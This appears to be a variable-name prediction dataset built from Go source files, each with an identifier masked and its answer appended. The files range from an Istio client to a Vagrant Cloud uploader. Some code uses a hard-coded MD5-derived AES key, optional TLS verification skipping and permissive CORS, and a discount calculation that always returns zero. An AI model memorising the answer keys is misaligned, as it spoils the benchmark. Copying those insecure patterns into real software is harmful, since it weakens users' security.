(the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package tessera import ( ""context"" ""fmt"" ""sync"" lru ""github.com/hashicorp/golang-lru/v2"" ) // newInMemoryDedupe wraps an Add function to prevent duplicate entries being written to the underlying // storage by keeping an in-memory cache of recently seen entries. // Where an existing entry has already been `Add`ed, the previous `IndexFuture` will be returned. // When no entry is found in the cache, the delegate method will be called to store the entry, and // the result will be registered in the cache. // // Internally this uses a cache with a max size configured by the size parameter. // If the entry being `Add`ed is not found in the cache, then it calls the delegate. // // This object can be used in isolation, or in conjunction with a persistent dedupe implementation. // When using this with a persistent dedupe, the persistent layer should be the delegate of this // InMemoryDedupe. This allows recent duplicates to be deduplicated in memory, reducing the need to // make calls to a persistent storage. func newInMemoryDedupe(size uint) func(AddFn) AddFn { return func(af AddFn) AddFn { c, err := lru.New[string, func() IndexFuture](int(size)) if err != nil { panic(fmt.Errorf(""lru.New(%d): %v"", size, err)) } dedupe := &inMemoryDedupe{ delegate: af, cache: c, } return dedupe.add } } type inMemoryDedupe struct { delegate func(ctx context.Context, e *Entry) IndexFuture cache *lru.Cache[string, func() IndexFuture] } // Add adds the entry to the underlying delegate only if e hasn't been recently seen. In either case, // an IndexFuture will be returned that the client can use to get the sequence number of this entry. func (d *inMemoryDedupe) add(ctx context.Context, e *Entry) IndexFuture { ctx, [MASK] := tracer.Start(ctx, ""tessera.Appender.inmemoryDedup.Add"") defer [MASK] .End() id := string(e.Identity()) f := sync.OnceValue(func() IndexFuture { // However many calls with the same entry come in and are deduped, we should only call delegate // once for each unique entry: df := d.delegate(ctx, e) return func() (Index, error) { idx, err := df() // If things went wrong we shouldn't cache the error, but rather let the request be retried as the error // may be transient (including ErrPushback). if err != nil { d.cache.Remove(id) } return idx, err } }) // if we've seen this entry before, discard our f and replace // with the one we created last time, otherwise store f against id. if prev, ok, _ := d.cache.PeekOrAdd(id, f); ok { f = func() IndexFuture { return func() (Index, error) { i, err := prev()() i.IsDup = true return i, err } } } return f() } ",span 556,"package cmd import ( ""context"" ""database/sql"" ""fmt"" pbauth ""github.com/federizer/reactive-mailbox/api/generated/auth"" pbsystem ""github.com/federizer/reactive-mailbox/api/generated/system"" grpcservices ""github.com/federizer/reactive-mailbox/grpc_services"" ""github.com/federizer/reactive-mailbox/pkg/config"" ""github.com/federizer/reactive-mailbox/repository"" services ""github.com/federizer/reactive-mailbox/services"" ""github.com/federizer/reactive-mailbox/session"" grpcmiddleware ""github.com/grpc-ecosystem/go-grpc-middleware"" grpcrecovery ""github.com/grpc-ecosystem/go-grpc-middleware/recovery"" ""github.com/improbable-eng/grpc-web/go/grpcweb"" log ""github.com/sirupsen/logrus"" ""github.com/spf13/cobra"" ""github.com/spf13/viper"" ""google.golang.org/grpc"" ""google.golang.org/grpc/credentials"" ""gopkg.in/yaml.v2"" ""io/ioutil"" ""net/http"" ""os"" ""os/signal"" ""strings"" ""sync"" ""syscall"" ) // serveCmd represents the serve command var serveCmd = &cobra.Command{ Use: ""serve --config [ config file ]"", Short: ""Start serving requests."", Long: ``, Example: ""email-services serve --config examples/config-dev.yaml"", Run: func(cmd *cobra.Command, args []string) { if err := serve(); err != nil { _, _ = fmt.Fprintln(os.Stderr, err) os.Exit(2) } }, } func init() { rootCmd.AddCommand(serveCmd) } /*func jsonStringToMap(f reflect.Kind, t reflect.Kind, data interface{}) (interface{}, error) { if f != reflect.String || t != reflect.Map { return data, nil } raw := data.(string) if raw == """" { return nil, nil } var ret map[string]string err := json.Unmarshal([]byte(raw), &ret) if err != nil { log.Printf(""ignored error trying to parse %q as json: %v"", raw, err) return data, nil } return ret, nil }*/ /*func floatToDecimal() mapstructure.DecodeHookFunc { return func( f reflect.Type, t reflect.Type, data interface{}) (interface{}, error) { if f.Kind() != reflect.Float64 { return data, nil } if t != reflect.TypeOf(decimal.Decimal{}) { return data, nil } // Convert it by parsing // dc := decimal.NewFromFloat(data.(float64)) return nil, nil } } func decodeHookWithTag(hook mapstructure.DecodeHookFunc, tagName string) viper.DecoderConfigOption { return func(c *mapstructure.DecoderConfig) { c.DecodeHook = hook c.TagName = tagName } }*/ func serve() error { // unmarshal config into Struct var c config.Config /*decodeHook := mapstructure.ComposeDecodeHookFunc( mapstructure.StringToTimeDurationHookFunc(), mapstructure.StringToSliceHookFunc("",""), jsonStringToMap, ) err := viper.Unmarshal(&c, viper.DecodeHook(decodeHook), func(dc *mapstructure.DecoderConfig) { dc.TagName = ""json"" })*/ /*decodeHookFunc := floatToDecimal() decoderConfigOption := decodeHookWithTag(decodeHookFunc, ""json"") err := viper.Unmarshal(&c, decoderConfigOption)*/ ctx, cancel := context.WithCancel(context.Background()) defer cancel() go func() { sigc := make(chan os.Signal, 1) signal.Notify(sigc, os.Interrupt, syscall.SIGINT, syscall.SIGTERM) <-sigc signal.Stop(sigc) cancel() }() configFile := viper.ConfigFileUsed() configData, err := ioutil.ReadFile(configFile) if err != nil { return fmt.Errorf(""failed to read config file %s: %v"", configFile, err) } err = yaml.Unmarshal(configData, &c) // err := viper.Unmarshal(&c) if err != nil { return fmt.Errorf(""unmarshal failed: %v"", err) } if err := c.Validate(); err != nil { return err } var ( grpcServer *grpc.Server wrappedServer *grpcweb.WrappedGrpcServer ) db, err := c.Database.Config.Open() if db != nil { defer db.Close() } if err != nil { return fmt.Errorf(""failed to initialize database: %v"", err) } log.Infof(""config database: %s"", c.Database.Type) DB, _ := db.(*sql.DB) if c.Web.TLSCert != """" { creds, err := credentials.NewServerTLSFromFile(c.Web.TLSCert, c.Web.TLSKey) if err != nil { log.Fatalf(""Failed while obtaining TLS certificates. Error: %+v"", err) } /*opts := []grpcrecovery.Option{ grpcrecovery.WithRecoveryHandler(GrpcRecoveryHandlerFunc), }*/ grpcServer = grpc.NewServer( grpc.Creds(creds), grpc.StreamInterceptor(grpcmiddleware.ChainStreamServer( StreamAuthInterceptor, // grpcrecovery.StreamServerInterceptor(opts...), grpcrecovery.StreamServerInterceptor(), )), grpc.UnaryInterceptor(grpcmiddleware.ChainUnaryServer( UnaryAuthInterceptor, // grpcrecovery.UnaryServerInterceptor(opts...), grpcrecovery.UnaryServerInterceptor(), )), ) } pbsystem.RegisterSystemServiceServer(grpcServer, &grpcservices.SystemStorageImpl{DB}) pbauth.RegisterAuthServiceServer(grpcServer, &grpcservices.AuthStorageImpl{DB: DB, SignUpClients: make(map[string]pbauth.AuthService_SignupServer), SignInClients: make(map[string]pbauth.AuthService_SigninServer), Mu: sync.RWMutex{}}) // pb.RegisterDraftServiceServer(grpcServer, &database.DraftServerImpl{DB}) // pb.RegisterDraftServiceServer(grpcServer, &database.MessageServerImpl{DB}) // pb.RegisterAuthServer(grpcServer, &oidc.UserInfoImpl{}) // pb.RegisterUsersServer(grpcServer, &impl.UserServerImpl{db}) // pb.RegisterJmsApiServer(grpcServer, &impl.JmapServerImpl{db}) // pb.RegisterGmailServer(grpcServer, &impl.GmailServerImpl{db}) // pb.RegisterGmailServer(grpcServer, &impl.LabelsServerImpl{db}) // pb.RegisterFilesServer(grpcServer, &impl.FileServerImpl{db}) wrappedServer = grpcweb.WrapServer(grpcServer, grpcweb.WithOriginFunc(func(origin string) bool { for _, allowedOrigin := range c.Web.AllowedOrigins { if allowedOrigin == ""*"" || origin == allowedOrigin { return true } } return false }), ) restMux := http.NewServeMux() // http.DefaultServeMux httpServer := http.Server{ Addr: c.Web.Addr(), Handler: http.HandlerFunc( func(resp http.ResponseWriter, req *http.Request) { if req.Method == http.MethodOptions { for _, allowedOrigin := range c.Web.AllowedOrigins { if allowedOrigin == ""*"" || allowedOrigin == req.Header.Get(""Origin"") { SetCors(resp, allowedOrigin) return } } return } if IsGrpcRequest(req) { if wrappedServer.IsGrpcWebRequest(req) { wrappedServer.ServeHTTP(resp, req) } else { grpcServer.ServeHTTP(resp, req) } } else { restMux.ServeHTTP(resp, req) } }, ), } systemstorage := &services.SystemStorageImpl{DB} [MASK] := &services.DraftStorageImpl{DB} restMux.HandleFunc(""/alive"", systemstorage.Alive) restMux.HandleFunc(""/drafts"", [MASK] .ListDrafts) // restMux.HandleFunc(common.AUTH_SIGNIN_PATH, oidc.SignIn()) // restMux.HandleFunc(common.AUTH_SIGNOUT_PATH, oidc.SignOut()) // restMux.HandleFunc(common.AUTH_REDIRECT_PATH, oidc.HandleCallback()) restMux.HandleFunc(c.File.UploadApi, session.AuthorizeRest(repository.FileUploadHandler)) // make a channel for each server to fail properly errc := make(chan error, 1) go func() { errc <- httpServer.ListenAndServeTLS(c.Web.TLSCert, c.Web.TLSKey) close(errc) }() select { case err := <-errc: return err case <-ctx.Done(): return err } } /*func (s *logItServer) IAmAlive(ctx context.Context, in *pb.LogData) (*pb.LogSuccess, error) { return &pb.LogSuccess{Status: ""success"", Msg: """"}, nil } func Alive(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, ""Hello, I am alive!"") }*/ func SetCors(w http.ResponseWriter, allowedOrigin string) { w.Header().Set(""Access-Control-Allow-Origin"", allowedOrigin) w.Header().Set(""Access-Control-Allow-Methods"", ""*"") w.Header().Set(""Access-Control-Allow-Credentials"", ""true"") w.Header().Set(""Access-Control-Allow-Headers"", ""Content-Type, x-grpc-web, sessionid, x-user-agent, authorization-token"") w.Header().Set(""Access-Control-Max-Age"", ""600"") } func IsGrpcRequest(req *http.Request) bool { return strings.Contains(req.Header.Get(""Content-Type""), ""application/grpc"") } /*func GrpcRecoveryHandlerFunc(p interface{}) error { fmt.Printf(""p: %+v\n"", p) return status.Errorf(codes.Internal, ""Unexpected error"") }*/ func StreamAuthInterceptor(srv interface{}, stream grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) (err error) { ctx, err := session.AuthorizeGrpc(stream.Context()) if err != nil { log.Errorf(""%s %v"", info.FullMethod, err) return err } wrapped := grpcmiddleware.WrapServerStream(stream) wrapped.WrappedContext = ctx return handler(srv, wrapped) } func UnaryAuthInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { ctx, err := session.AuthorizeGrpc(ctx) if err != nil { log.Errorf(""%s %v"", info.FullMethod, err) return nil, err } return handler(ctx, req) } ",draftstorage 557,"/* Copyright 2022 Adobe. All rights reserved. This file is licensed to you under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( ""encoding/json"" ""fmt"" ""io/ioutil"" ""strings"" ""sync"" ""github.com/go-playground/validator/v10"" ""golang.org/x/mod/semver"" ) var validate *validator.Validate type Connector struct { Name string `json:""name"" validate:""required""` Version string `json:""version"" validate:""required,semver""` Description string `json:""description"" validate:""required""` Author string `json:""author"" validate:""required""` Provider interface{} `json:""provider"" validate:""required""` } type ConnectorMetadata struct { Name string `json:""name""` Description string `json:""description""` Author string `json:""author""` Latest string `json:""latest""` Versions []string `json:""versions""` Url string `json:""url""` } type ConnectorsMetadata map[string]*ConnectorMetadata type CollectMetadata struct { rootPath string metaPath string storagePath string connectorPaths []string } func NewCollectMetadata( rootPath string, metadataFilePath string, [MASK] string, connectorPaths []string, ) *CollectMetadata { connectorPathsFormatted := make([]string, len(connectorPaths)) for i, v := range connectorPaths { connectorPathsFormatted[i] = fmt.Sprintf(""%s/%s"", rootPath, v) } return &CollectMetadata{ rootPath: rootPath, metaPath: fmt.Sprintf(""%s/%s"", rootPath, metadataFilePath), storagePath: fmt.Sprintf(""%s/%s"", rootPath, [MASK] ), connectorPaths: connectorPathsFormatted, } } func (cm *CollectMetadata) Run() error { connectorsMetadata := make(ConnectorsMetadata) connectorsMap, err := ioutil.ReadFile(cm.metaPath) if err != nil { return fmt.Errorf(""%s: %v"", ""Error on data file"", err.Error()) } err = json.Unmarshal(connectorsMap, &connectorsMetadata) if err != nil { return fmt.Errorf(""%s: %v"", ""Error on unmarshaling connectors metadata"", err.Error()) } var wg sync.WaitGroup wg.Add(len(cm.connectorPaths)) for _, v := range cm.connectorPaths { go func(cp string, csm ConnectorsMetadata) { defer wg.Done() cm.processConnector(cp, csm) }(v, connectorsMetadata) } wg.Wait() connectorsMapString, err := json.Marshal(connectorsMetadata) if err != nil { return fmt.Errorf(""%s: %v"", ""Error on marshaling file"", err.Error()) } fmt.Println(string(connectorsMapString)) ioutil.WriteFile(cm.metaPath, connectorsMapString, 0644) return nil } func (cm *CollectMetadata) processConnector(cp string, csm ConnectorsMetadata) error { connector, file, err := cm.getConnector(cp) if err != nil { return err } ckn := strings.ToLower(strings.Replace(connector.Name, "" "", ""-"", -1)) csm[ckn] = cm.getUpdatedMetadata(csm[ckn], connector) ioutil.WriteFile(fmt.Sprintf(""%s/%s-%s.json"", cm.storagePath, connector.Version, ckn), file, 0644) return nil } func (cm *CollectMetadata) getConnector(path string) (*Connector, []byte, error) { validate := validator.New() file, err := ioutil.ReadFile(path) if err != nil { return nil, nil, fmt.Errorf(""%s: %v"", ""Error on reading file"", err.Error()) } connector := &Connector{} err = json.Unmarshal(file, connector) if err != nil { return nil, nil, fmt.Errorf(""%s: %v"", ""Error on unmarshaling JSON"", err.Error()) } err = validate.Struct(connector) if err != nil { validationErrors := err.(validator.ValidationErrors) if err != nil { return nil, nil, fmt.Errorf(""%s: %v"", validationErrors, err.Error()) } } return connector, file, nil } func (cm *CollectMetadata) getUpdatedMetadata(prevMeta *ConnectorMetadata, connector *Connector) *ConnectorMetadata { var c *ConnectorMetadata if prevMeta != nil { c = prevMeta compare := semver.Compare(fmt.Sprintf(""v%s"", c.Latest), fmt.Sprintf(""v%s"", connector.Version)) if compare == -1 { ckn := strings.ToLower(strings.Replace(connector.Name, "" "", ""-"", -1)) c.Url = fmt.Sprintf(""%s/%s-%s.json"", cm.storagePath, connector.Version, ckn) c.Versions = append(c.Versions, connector.Version) c.Latest = connector.Version c.Author = connector.Author c.Description = connector.Description } if compare == 0 { c.Author = connector.Author c.Description = connector.Description } } else { c = &ConnectorMetadata{ Name: connector.Name, Latest: connector.Version, Versions: []string{connector.Version}, Author: connector.Author, Description: connector.Description, } } return c } ",storageFolderPath 558,"// // Copyright 2023 Beijing Volcano Engine Technology Ltd. // Copyright 2023 Guangzhou Laboratory // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( ""math/rand"" ""os"" ""time"" ctrl ""sigs.k8s.io/controller-runtime"" bioos_server ""github.com/Bio-OS/bioos/internal/apiserver"" ) // @title BioOS Apiserver // @version 1.0 // @description This is bioos apiserver using Hertz. // @contact.name hertz-contrib // @contact.url https://github.com/hertz-contrib // @license.name Apache 2.0 // @license.url http://www.apache.org/licenses/LICENSE-2.0.html // @BasePath / // @schemes http https // @securityDefinitions.basic basicAuth func main() { rand.Seed(time.Now().UTC().UnixNano()) ctx := ctrl.SetupSignalHandler() [MASK] := bioos_server.NewBioosServerCommand(ctx) if err := [MASK] .Execute(); err != nil { os.Exit(1) } } ",command 559,"// Copyright Istio Authors // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // This example is adapted from: // https://github.com/aspenmesh/istio-client-go/blob/4de6e89009c427dbc602b0c6bbdc8840ef1905e6/cmd/example-client/client.go package main import ( ""context"" ""log"" ""os"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/client-go/tools/clientcmd"" versionedclient ""istio.io/client-go/pkg/clientset/versioned"" ) func main() { kubeconfig := os.Getenv(""KUBECONFIG"") namespace := os.Getenv(""NAMESPACE"") if len(kubeconfig) == 0 || len(namespace) == 0 { log.Fatalf(""Environment variables KUBECONFIG and NAMESPACE need to be set"") } restConfig, err := clientcmd.BuildConfigFromFlags("""", kubeconfig) if err != nil { log.Fatalf(""Failed to create k8s rest client: %s"", err) } ic, err := versionedclient.NewForConfig(restConfig) if err != nil { log.Fatalf(""Failed to create istio client: %s"", err) } // Test VirtualServices vsList, err := ic.NetworkingV1alpha3().VirtualServices(namespace).List(context.TODO(), metav1.ListOptions{}) if err != nil { log.Fatalf(""Failed to get VirtualService in %s namespace: %s"", namespace, err) } for i := range vsList.Items { vs := vsList.Items[i] log.Printf(""Index: %d VirtualService Hosts: %+v\n"", i, vs.Spec.GetHosts()) } // Test DestinationRules drList, err := ic.NetworkingV1alpha3().DestinationRules(namespace).List(context.TODO(), metav1.ListOptions{}) if err != nil { log.Fatalf(""Failed to get DestinationRule in %s namespace: %s"", namespace, err) } for i := range drList.Items { dr := drList.Items[i] log.Printf(""Index: %d DestinationRule Host: %+v\n"", i, dr.Spec.GetHost()) } // Test Gateway gwList, err := ic.NetworkingV1alpha3().Gateways(namespace).List(context.TODO(), metav1.ListOptions{}) if err != nil { log.Fatalf(""Failed to get Gateway in %s namespace: %s"", namespace, err) } for i := range gwList.Items { gw := gwList.Items[i] for _, s := range gw.Spec.GetServers() { log.Printf(""Index: %d Gateway servers: %+v\n"", i, s) } } // Test ServiceEntry [MASK] , err := ic.NetworkingV1alpha3().ServiceEntries(namespace).List(context.TODO(), metav1.ListOptions{}) if err != nil { log.Fatalf(""Failed to get ServiceEntry in %s namespace: %s"", namespace, err) } for i := range [MASK] .Items { se := [MASK] .Items[i] for _, h := range se.Spec.GetHosts() { log.Printf(""Index: %d ServiceEntry hosts: %+v\n"", i, h) } } } ",seList 560,"package main import ( ""crypto/aes"" ""crypto/cipher"" ""crypto/md5"" ""crypto/rand"" ""encoding/base64"" ""encoding/hex"" ""fmt"" ""github.com/spf13/pflag"" ""io"" ""io/ioutil"" ""os"" ) const salt = ""some-random-salt-LQKyPm^JURst1KvsCPUq"" func createHash(key string) string { hasher := md5.New() hasher.Write([]byte(key)) return hex.EncodeToString(hasher.Sum(nil)) } func Encrypt(data string) string { block, _ := aes.NewCipher([]byte(createHash(salt))) gcm, err := cipher.NewGCM(block) if err != nil { panic(err.Error()) } nonce := make([]byte, gcm.NonceSize()) if _, err = io.ReadFull(rand.Reader, nonce); err != nil { panic(err.Error()) } ciphertext := gcm.Seal(nonce, nonce, []byte(data), nil) return base64.StdEncoding.EncodeToString(ciphertext) } func Decrypt(encryptedData string) string { data, err := base64.StdEncoding.DecodeString(encryptedData) if err != nil { panic(err.Error()) } key := []byte(createHash(salt)) block, err := aes.NewCipher(key) if err != nil { panic(err.Error()) } gcm, err := cipher.NewGCM(block) if err != nil { panic(err.Error()) } nonceSize := gcm.NonceSize() nonce, ciphertext := data[:nonceSize], data[nonceSize:] [MASK] , err := gcm.Open(nil, nonce, ciphertext, nil) if err != nil { panic(err.Error()) } return string( [MASK] ) } func main() { mode := pflag.StringP(""mode"", ""m"", ""decrypt"", ""Mode encrypt/decrypt"") pflag.Parse() fi, err := os.Stdin.Stat() if err != nil { panic(err) } if fi.Mode()&os.ModeNamedPipe == 0 { fmt.Fprint(os.Stderr, ""No input"") os.Exit(1) } dataBytes, err := ioutil.ReadAll(os.Stdin) if err != nil { panic(err) } data := string(dataBytes) if *mode == ""encrypt"" { fmt.Println(Encrypt(data)) } else { fmt.Println(Decrypt(data)) } } ",plaintext 561,"package main import ( ""crypto/tls"" ""flag"" ""fmt"" ""github.com/nlopes/slack"" ""log"" ""net/http"" ""net/url"" ""os"" ""strings"" ) func main() { [MASK] := flag.String(""u"", """", ""-u delete target slack comment url"") channel := flag.String(""c"", """", ""-c slack channel name"") token := flag.String(""tk"", """", ""slack access channel"") ts := flag.String(""ts"", ""0"", ""timestamp of remove target comment"") insecure := flag.Bool(""insecure"", false, ""HTTP requests with InsecureSkipVerify transport"") flag.StringVar( [MASK] , ""url"", """", ""url is delete target slack comment url"") flag.StringVar(channel, ""channel"", """", ""slack channel name"") flag.StringVar(token, ""token"", os.Getenv(""SLACK_API_TOKEN""), ""slack api access token"") flag.StringVar(ts, ""timestamp"", ""0"", ""timestamp of remove target comment"") flag.BoolVar(insecure, ""InsecureSkipVerify"", false, ""HTTP requests with InsecureSkipVerify transport"") flag.Parse() if *token == """" { panic(""token is required"") } if * [MASK] != """" { split := strings.Split(* [MASK] , ""/"") if len(split) != 6 { log.Fatal(""url is must follow this format: https:///archives//"") } channel = &split[4] ts = &split[5] // If thread comment then format like below // https://.slack.com/archives//p1566545900001800?thread_ts=1566545900.001700&cid=GJJ9NJ1B8 ts = &strings.Split(*ts, ""?"")[0] } if *channel == """" { log.Fatal(""channel is required"") } if *ts == """" { log.Fatal(""timestamp is required"") } timestamp := *ts if strings.HasPrefix(*ts, ""p"") && len(*ts) == 17 { timestamp = timestamp[1:11] + ""."" + timestamp[11:] } fmt.Println(""timestamp"", timestamp) sc := slack.New(*token) if *insecure { proxyURL, err := url.Parse(getEnvAny(""HTTP_PROXY"", ""http_proxy"")) if err != nil { log.Fatalf(""HTTP_PROXY is invalid url"") } // Under particular http proxy environment in enterprise then need to insecure option hc := &http.Client{Transport: &http.Transport{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true}, Proxy: http.ProxyURL(proxyURL), }} sc = slack.New(*token, slack.OptionHTTPClient(hc)) } if _, _, err := sc.DeleteMessage(*channel, timestamp); err != nil { log.Fatal(""failed to delete: "" + err.Error()) } fmt.Println(""success"") } func getEnvAny(names ...string) string { for _, n := range names { if val := os.Getenv(n); val != """" { return val } } return """" } ",slackURL 562,"package bookstore import ( ""fmt"" ""github.com/google/uuid"" ) type Book struct { Title string Author []string Copies int Description string DiscountPercent int Edition int ID string PriceCents int64 SeriesName string SeriesNumber int Featured bool } var Books = map[string]Book{} var Authors = map[string][]string{} //GetAllBooks returns all the books in the bookstore func GetAllBooks() map[string]Book { return Books } //GetBookDetails reads the books ID and returns its details in a non elegant // nor scalable way func GetBookDetails(id string) (string, error) { for _, book := range Books { if book.ID == id { details := fmt.Sprintf(""Title: %s, ID: %s, Price: %d $"", book.Title, book.ID, NetPrice(book)/100) return details, nil } } return """", fmt.Errorf(""there are no books with id: %s"", id) } //GetAllByAuthor returns all the books from a given Author func GetAllByAuthor(author string) map[string]Book { books := map[string]Book{} bookIDs := Authors[author] for _, id := range bookIDs { books[id] = Books[id] } return books } //NewID returns a unique string ID func NewID() string { return uuid.New().String() } //AddBook takes a Book input an appends it to the Books map func AddBook(b Book) { Books[b.ID] = b for _, a := range b.Author { authorIDs := Authors[a] Authors[a] = append(authorIDs, b.ID) } } //NetPrice receives a book with the price and discount information and returns // the net price func NetPrice(b Book) int64 { [MASK] := b.PriceCents * (int64(b.DiscountPercent / 100)) return b.PriceCents - [MASK] } ",saving 563,"package main import ( ""context"" ""github.com/azdagron/spire-pipe/codec"" ""github.com/spf13/cobra"" ) func ConvertFromPEMCommand() *cobra.Command { [MASK] := &convertFromPEM{ outFormat: AllBytesFormats(), } cmd := &cobra.Command{ Use: ""from-pem TYPE"", Short: ""Converts a PEM block to (optionally encoded) bytes"", Args: cobra.ExactArgs(1), RunE: runInOut( [MASK] ), } cmd.Flags().VarP(& [MASK] .outFormat, ""out-format"", """", ""output format"") cmd.Flags().BoolVarP(& [MASK] .firstOnly, ""first-only"", """", false, ""first block only"") return cmd } type convertFromPEM struct { outFormat BytesFormatFlag firstOnly bool } func (cmd *convertFromPEM) Run(_ context.Context, in []byte, args []string) ([]byte, error) { pemType := args[0] return codec.BytesToBytes(in, codec.PEMBytes(pemType, cmd.firstOnly), cmd.outFormat) } ",impl 564,"// A simple module to generate a Vagrant Cloud upload url // This module can be use to create a Vagrant Cloud box, version and provider, // and it can return the url to upload your local vagrant box. This module is a chain of REST api calls // to the Vagrant Cloud hence there are no special requirements to use it other than a Vagrant Cloud token. package main import ( ""context"" ""encoding/json"" ""fmt"" ""io/ioutil"" ""net/http"" ""strings"" ) const ( boxesApi = ""https://app.vagrantup.com/api/v2/boxes"" versionsApi = ""https://app.vagrantup.com/api/v2/box/%s/%s/versions"" providersApi = ""https://app.vagrantup.com/api/v2/box/%s/%s/version/%s/providers"" getApi = ""https://app.vagrantup.com/api/v2/box/%s/%s"" getVersionApi = ""https://app.vagrantup.com/api/v2/box/%s/%s/version/%s"" getProviderApi = ""https://app.vagrantup.com/api/v2/box/%s/%s/version/%s/provider/%s/%s"" getUploadApi = ""https://app.vagrantup.com/api/v2/box/%s/%s/version/%s/provider/%s/%s/upload"" ) type Vagrant struct { Token string Response string Box *Box } type Box struct { Username string Name string Short string Description string Provider string Architecture string Version string Private bool } type Upload struct { Path string `json:""upload_path""` } func newBox(username, boxname string) *Box { return &Box{ Username: username, Name: boxname, Private: false, } } // Box REST calls body func (b *Box) createData() string { if b.Private { return fmt.Sprintf(`{ ""box"": { ""username"": ""%s"", ""name"": ""%s"", ""is_private"": true } }`, b.Username, b.Name) } else { return fmt.Sprintf(`{ ""box"": { ""username"": ""%s"", ""name"": ""%s"", ""is_private"": false } }`, b.Username, b.Name) } } func (b *Box) providerData() string { return fmt.Sprintf(`{ ""provider"": { ""name"": ""%s"", ""architecture"": ""%s""} }`, b.Provider, b.Architecture) } func (b *Box) versionData() string { return fmt.Sprintf(`{ ""version"": { ""version"": ""%s""} }`, b.Version) } // Box REST calls endpoints func (b *Box) createEndpoint() string { return boxesApi } func (b *Box) versionsEndpoint() string { return fmt.Sprintf(versionsApi, b.Username, b.Name) } func (b *Box) providersEndpoint() string { return fmt.Sprintf(providersApi, b.Username, b.Name, b.Version) } func (b *Box) getEndpoint() string { return fmt.Sprintf(getApi, b.Username, b.Name) } func (b *Box) getVersionEndpoint() string { return fmt.Sprintf(getVersionApi, b.Username, b.Name, b.Version) } func (b *Box) getProviderEndpoint() string { return fmt.Sprintf(getProviderApi, b.Username, b.Name, b.Version, b.Provider, b.Architecture) } func (b *Box) getUploadEndpoint() string { return fmt.Sprintf(getUploadApi, b.Username, b.Name, b.Version, b.Provider, b.Architecture) } // private function func (m *Vagrant) setHeaders() http.Header { headers := make(http.Header) headers.Add(""Content-Type"", ""application/json"") headers.Add(""Authorization"", fmt.Sprintf(""Bearer %s"", m.Token)) return headers } // private gets func (m *Vagrant) getBox(ctx context.Context) (*Vagrant, error) { request, err := http.NewRequestWithContext(ctx, http.MethodGet, m.Box.getEndpoint(), nil) if err != nil { return nil, err } request.Header = m.setHeaders() response, err := http.DefaultClient.Do(request) if err != nil { return nil, err } if response.StatusCode != http.StatusOK { return nil, fmt.Errorf(""Got a failing response for %s: %s."", m.Box.getEndpoint(), response.Status) } m.Response = fmt.Sprintf(""%v"", response) return m, nil } func (m *Vagrant) getVersion(ctx context.Context) (*Vagrant, error) { request, err := http.NewRequestWithContext(ctx, http.MethodGet, m.Box.getVersionEndpoint(), nil) if err != nil { return nil, err } request.Header = m.setHeaders() response, err := http.DefaultClient.Do(request) if err != nil { return nil, err } if response.StatusCode != http.StatusOK { return nil, fmt.Errorf(""Got a failing response for %s: %s."", m.Box.getVersionEndpoint(), response.Status) } m.Response = fmt.Sprintf(""%v"", response) return m, nil } func (m *Vagrant) getProvider(ctx context.Context) (*Vagrant, error) { request, err := http.NewRequestWithContext(ctx, http.MethodGet, m.Box.getProviderEndpoint(), nil) if err != nil { return nil, err } request.Header = m.setHeaders() response, err := http.DefaultClient.Do(request) if err != nil { return nil, err } if response.StatusCode != http.StatusOK { return nil, fmt.Errorf(""Got a failing response for %s: %s."", m.Box.getProviderEndpoint(), response.Status) } m.Response = fmt.Sprintf(""%v"", response) return m, nil } // gets upload path func (m *Vagrant) getUpload(ctx context.Context) (*Upload, error) { request, err := http.NewRequestWithContext(ctx, http.MethodGet, m.Box.getUploadEndpoint(), nil) if err != nil { return nil, err } request.Header = m.setHeaders() response, err := http.DefaultClient.Do(request) if err != nil { return nil, err } if response.StatusCode != http.StatusOK { return nil, fmt.Errorf(""Got a failing response for %s: %s."", m.Box.getUploadEndpoint(), response.Status) } defer response.Body.Close() body, err := ioutil.ReadAll(response.Body) if err != nil { return nil, fmt.Errorf(""Couldn't create response body reader"") } var upload Upload err = json.Unmarshal(body, &upload) if err != nil { return nil, fmt.Errorf(""Couldn't get upload data."") } return &upload, nil } // Creates a new vagrant box func (m *Vagrant) CreateBox( ctx context.Context, // Vagrant Cloud Username usernameArg string, // Box name boxnameArg string, // Vagrant Cloud User's token tokenArg string, ) (*Vagrant, error) { m.Token = tokenArg m.Box = newBox(usernameArg, boxnameArg) // Check if box exists exists, _ := m.getBox(ctx) // Box already created, continue if exists != nil { return m, nil } // Box does not exist, creating reader := strings.NewReader(m.Box.createData()) request, err := http.NewRequestWithContext(ctx, http.MethodPost, m.Box.createEndpoint(), reader) if err != nil { return nil, err } request.Header = m.setHeaders() response, err := http.DefaultClient.Do(request) if err != nil { return nil, err } if response.StatusCode != http.StatusOK { return nil, fmt.Errorf(""Got a failing response for %s: %s."", m.Box.createEndpoint(), response.Status) } m.Response = fmt.Sprintf(""%v"", response) return m, nil } // Creates a new box version func 